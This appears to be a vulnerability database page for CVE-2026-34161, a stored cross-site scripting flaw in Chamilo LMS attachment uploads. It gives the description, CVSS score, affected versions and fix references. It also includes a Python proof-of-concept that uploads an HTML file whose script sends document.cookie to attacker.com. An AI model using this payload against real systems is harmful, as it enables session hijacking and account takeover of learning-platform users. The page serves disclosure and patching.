CVE-2026-34161

Description

Chamilo LMS is an open-source learning management system. In versions prior to 2.0.0-RC.3, a Stored Cross-Site Scripting (XSS) vulnerability exists in the social post attachment upload functionality, where an authenticated user can upload a malicious HTML file containing JavaScript via the /api/social_post_attachments endpoint. The uploaded file is served back from the application at the generated contentUrl without sanitization, content type restrictions, or a Content-Disposition: attachment header, causing the JavaScript to execute in the browser within the application's origin. Because the payload is stored server-side and runs in the trusted origin, an attacker can perform session hijacking, account takeover, privilege escalation (if an admin views the link), and arbitrary actions on behalf of the victim. This issue has been fixed in version 2.0.0-RC.3.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:chamilo:chamilo_lms:2.0.0:alpha4:*:*:*:*:*:* - VULNERABLE

Chamilo LMS < 2.0.0-RC.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-chamilo.com/api/social_post_attachments"

# Malicious HTML payload with JavaScript
html_payload = "<html><body><script>alert('CVE-2026-34161 XSS');document.location='http://attacker.com/?c='+document.cookie;</script></body></html>"

# Simulated authentication session
session = requests.Session()
# session.post("http://target-chamilo.com/login", data={...}) 

# Upload the malicious file
files = {'file': ('exploit.html', html_payload, 'text/html')}
response = session.post(target_url, files=files)

if response.status_code == 200:
    print("[+] Payload uploaded successfully.")
    # Extract contentUrl from response if necessary
    # print("[+] Access the generated link to trigger XSS.")
else:
    print("[-] Upload failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34161
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34161
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34161/
[4] VulDB https://vuldb.com/cve/CVE-2026-34161
[5] https://github.com/chamilo/chamilo-lms/commit/7c4965e48769d1d06413836429e386816a465c7f
[6] https://github.com/chamilo/chamilo-lms/commit/da671d66a146887be3a16eabc5dcf0a92c55f7da
[7] https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.0-RC.3
[8] https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-273p-jw9w-3g22

Raw JSON Data

JSON

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